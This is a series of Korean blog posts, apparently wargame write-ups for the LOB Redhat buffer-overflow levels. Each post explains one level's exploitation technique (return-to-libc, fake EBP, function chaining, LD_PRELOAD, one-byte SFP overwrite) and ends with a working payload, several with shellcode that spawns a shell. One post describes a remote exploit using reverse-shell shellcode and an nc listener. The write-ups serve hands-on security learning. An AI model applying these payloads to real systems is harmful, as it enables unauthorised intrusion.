LOB_Redhat xavius


소스 겁나 기네요..

원격으로 올려놓기 위해서 만들어 놓은 소스코드를 제외하고는 딱히 일반 bof랑 다를게 없습니다.

buffer가 40개인데 256개를 받네요.

여기서 bof가 일어납니다.


python으로 코딩한 원격 exploit 코드입니다.

여기서 쓰인 쉘코드는 리버스 쉘코드입니다.

사용 쉘코드는 https://www.exploit-db.com/exploits/25497/ 에서 확인할 수 있습니다.


쉘코드의 형태로 IPADDR에는 나의 linux address를 hex값으로 바꿔서 넣고, PORT에는 nc -lvp port 에서 port 값을 hex로 바꿔서 넣으면 됩니다.


이렇게 뜨면 성공한 것인데..

그전에 해줘야 할 것은 위에서 언급한 nc -lvp로 포트를 열어줘야 됩니다.



성공


payload : python exploit code

'Wargame > LOB_Redhat' 카테고리의 다른 글

LOB_Redhat xavius  (0) 2016.10.12
LOB_Redhat nightmare  (0) 2016.10.11
LOB_Redhat succubus  (0) 2016.10.11
LOB_Redhat zombie_assassin  (0) 2016.10.10
LOB_Redhat assassin  (0) 2016.10.10
LOB_Redhat giant  (0) 2016.10.10

LOB_Redhat nightmare


이얏.. 아무것도 쓸 수 없다. 그러나 입력을 보니 fget이네..?

fget은 임시버퍼를 만들어서 값을 가져오는데 여기서 문제가 생긴다.

바로 임시버퍼를 삭제하지 않는다는 것이다.


strace를 이용해서 어떤 주소가 임시버퍼인지 확인을 해본다.

위에를 보면 open, 아래를 보면 close 등이 보이는 것을 보아 여기가 임시버퍼라는 것을 알 수 있다.


payload를 구성할 때 주의해야될 것은 임시버퍼 주소를 리틀엔디언으로 입력을 할 때 널값이 생기는데 널이 없어야 된다.

payload를 보면 \x90를 21개 만큼 미리 해주기 때문에 널값을 21 이하의 숫자로 바꿔주면 exploit이 될 것이다.


성공


payload : (python -c 'print "\x90"*21+"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"+"\x10\x50\x01\x40"';cat)|./xavius

'Wargame > LOB_Redhat' 카테고리의 다른 글

LOB_Redhat xavius  (0) 2016.10.12
LOB_Redhat nightmare  (0) 2016.10.11
LOB_Redhat succubus  (0) 2016.10.11
LOB_Redhat zombie_assassin  (0) 2016.10.10
LOB_Redhat assassin  (0) 2016.10.10
LOB_Redhat giant  (0) 2016.10.10

LOB_Redhat succubus


strcpy의 주소를 사용해야합니다.

힌트로도 PLT가 나왔으니 strcpy@plt의 주소를 이용합시다.


bp는 strcpy다음 명령어에다가 걸고 strcpy의 주소를 찾은 뒤 값을 넣어 실행합니다.


이렇게 strcpy에 의해 복사된 것을 볼 수 있는데 여기서 우리가 구해야할 값은 *buffer와 *ret입니다.

이 값들은 나중에 strcpy를 한번 더 호출하면서 사용하게 될 값이다.

strcpy를 한번 더 호출하면서 ret을 buffer로 다시 덮어씌운다.

그러면 buffer에 /bin/sh의 주소를 넣어놓으면 쉘이 따인다.


성공(이거 주소 값이 변경되면 안되는데 변경되서 애먹었네요;;)


payload : ./nightmare `python -c 'print "\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"A"*32+"\x10\x84\x04\x08"+"AAAA"+"\xa0\xfa\xff\xbf"+"\x70\xfa\xff\xbf"'`

'Wargame > LOB_Redhat' 카테고리의 다른 글

LOB_Redhat xavius  (0) 2016.10.12
LOB_Redhat nightmare  (0) 2016.10.11
LOB_Redhat succubus  (0) 2016.10.11
LOB_Redhat zombie_assassin  (0) 2016.10.10
LOB_Redhat assassin  (0) 2016.10.10
LOB_Redhat giant  (0) 2016.10.10

LOB_Redhat zombie_assassin

소스가 기네요.

보아하니 함수 chaining인거 같습니다.


모든 함수의 주소를 구해주고


/bin/sh가 저장되는 곳의 주소를 찾는다.



성공


payload : ./succubus `python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\x68\xfa\xff\xbf"+"/bin/sh"'`

'Wargame > LOB_Redhat' 카테고리의 다른 글

LOB_Redhat nightmare  (0) 2016.10.11
LOB_Redhat succubus  (0) 2016.10.11
LOB_Redhat zombie_assassin  (0) 2016.10.10
LOB_Redhat assassin  (0) 2016.10.10
LOB_Redhat giant  (0) 2016.10.10
LOB_Redhat bugbear  (0) 2016.10.10

LOB_Redhat assassin


이번에도 스택을 쓰지 않고 라이브러리를 쓰면 안된다.

심지어 카피하는 buffer에 48이라는 제한이 걸려서 전에 사용했던 방법도 안 될 것이다.

힌트로는 febp가 나왔다.

febp란 fake ebp의 약자로 leave-ret 가젯을 한번 더 실행시켜서 ebp를 버퍼의 위치로 바꿔놓는 것이다.


leave-ret 가젯의 주소이다.


sfp의 주소를 알아야 ebp를 바꿀 수 있으니 sfp의 주소를 찾는다.



성공


payload : ./zombie_assassin `python -c 'print "\x90"*17+"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"+"\x88\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

'Wargame > LOB_Redhat' 카테고리의 다른 글

LOB_Redhat succubus  (0) 2016.10.11
LOB_Redhat zombie_assassin  (0) 2016.10.10
LOB_Redhat assassin  (0) 2016.10.10
LOB_Redhat giant  (0) 2016.10.10
LOB_Redhat bugbear  (0) 2016.10.10
LOB_Redhat darkknight  (0) 2016.10.10

LOB_Redhat giant


스택과 라이브러리를 이용하면 안된다. 하지만 나는 이용할 것이다.

스택내부의 return address를 바이너리의 ret으로 덮어씌우면 그 과정에서 pop eip가 일어난다.

pop eip가 일어나면 그 뒤에 있는 입력값이 실행이 되는데 이를 이용할 것이다.


ret address는 이렇다.


system 함수의 주소이다.


/bin/sh를 구하는 c코드이다.


/bin/sh의 주소이다.


exit의 주소이다.



성공


payload : ./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"'`

'Wargame > LOB_Redhat' 카테고리의 다른 글

LOB_Redhat zombie_assassin  (0) 2016.10.10
LOB_Redhat assassin  (0) 2016.10.10
LOB_Redhat giant  (0) 2016.10.10
LOB_Redhat bugbear  (0) 2016.10.10
LOB_Redhat darkknight  (0) 2016.10.10
LOB_Redhat golem  (0) 2016.10.10

LOB_Redhat bugbear


execve 함수를 사용해서 exploit해야한다.

execve 함수는 system 함수와 달라서 해줄것이 많다..

execve 함수의 구조이다.

execve(filename, *argv[], 0)

filename = /bin/sh

*argv[] = (/bin/sh, 0)

다들 심볼릭 링크를 이용하면 된다.


일단 execve함수와 exit의 주소이다.


execve를 이용하여 /bin/sh의 주소를 구하기 위한 c코드이다.

이전에 나왔던거와 별반 차이는 없다.


/bin/sh의 주소이다.


*argv에 들어갈 값들로 /bin/sh는 0xbffffff7이고 0은 바로 뒤에 있는 주소를 사용하도록 하겠다.



성공


payload : ./`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"'`"

'Wargame > LOB_Redhat' 카테고리의 다른 글

LOB_Redhat assassin  (0) 2016.10.10
LOB_Redhat giant  (0) 2016.10.10
LOB_Redhat bugbear  (0) 2016.10.10
LOB_Redhat darkknight  (0) 2016.10.10
LOB_Redhat golem  (0) 2016.10.10
LOB_Redhat skeleton  (0) 2016.10.10

LOB_Redhat darkknight


스택 주소를 사용하면 안된다.

힌트 또한 RTL이 나왔기 때문에 RTL로 풀어야겠다.

시스템함수를 쓸 수 있는 이유는 현재 사용자보다 상위 사용자의 권한을 가진 함수이기 때문이다.

RTL의 payload 구성은 buffer+sfp+system address+dummy+/bin/sh address이다.

dummy에다가는 exit의 주소를 넣을 것이다.


시스템 함수 주소이다.


시스템 함수의 주소를 이용해서 /bin/sh주소를 찾는 c코드이다.


컴파일 후 실행을 해보면 /bin/sh의 주소를 알 수 있다.


그리고 exit주소를 찾은 후 아까 말한 payload처럼 구성해서 exploit을 하면된다.



성공


payload : ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"'`

'Wargame > LOB_Redhat' 카테고리의 다른 글

LOB_Redhat giant  (0) 2016.10.10
LOB_Redhat bugbear  (0) 2016.10.10
LOB_Redhat darkknight  (0) 2016.10.10
LOB_Redhat golem  (0) 2016.10.10
LOB_Redhat skeleton  (0) 2016.10.10
LOB_Redhat vampire  (0) 2016.10.08

LOB_Redhat golem


buffer를 딱 41개 만큼 복사한다.

sfp를 딱 한자리만 덮어씌우게 된다.


A를 40개 입력하고 B를 한개입력한다. A의 시작점을 잡아서 exploit을 하는데 좀 넉넉하게 잡도록 하자. 



성공


payload : ./darkknight `python -c 'print "\x90"*17+"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"+"\x98"'`

'Wargame > LOB_Redhat' 카테고리의 다른 글

LOB_Redhat bugbear  (0) 2016.10.10
LOB_Redhat darkknight  (0) 2016.10.10
LOB_Redhat golem  (0) 2016.10.10
LOB_Redhat skeleton  (0) 2016.10.10
LOB_Redhat vampire  (0) 2016.10.08
LOB_Redhat troll  (0) 2016.10.08

LOB_Redhat skeleton


스택에 입력해서 받은 부분을 싹다 0으로 날려버린다..

그러면 ! 공유라이브러리를 이용하도록 해보겠다.


아무 코드를 적당한 NOP과 쉘코드를 이용해서 컴파일 해준다.

-shared : 공유라이브러리 선참조

-fPIC : 심볼이 무엇이든지 컴파일


LD_PRELOAD 환경변수에다가 공유라이브러리로 적재시킬 파일을 올린다.


LD_PRELOAD에 올라간 파일이다.

처음에는 $esp로 찾아봐서 했는데 처음에 말한 스택을 날려버리는 부분때문에 0xbffff000부터 쭉 찾아보았다.


NOP위에 적당한 주소를 잡아서 exploit하면 된다.


성공


payload : `python -c 'print "A"*44+"\x30\xf5\xff\xbf"'`

'Wargame > LOB_Redhat' 카테고리의 다른 글

LOB_Redhat darkknight  (0) 2016.10.10
LOB_Redhat golem  (0) 2016.10.10
LOB_Redhat skeleton  (0) 2016.10.10
LOB_Redhat vampire  (0) 2016.10.08
LOB_Redhat troll  (0) 2016.10.08
LOB_Redhat orge  (0) 2016.10.07

+ Recent posts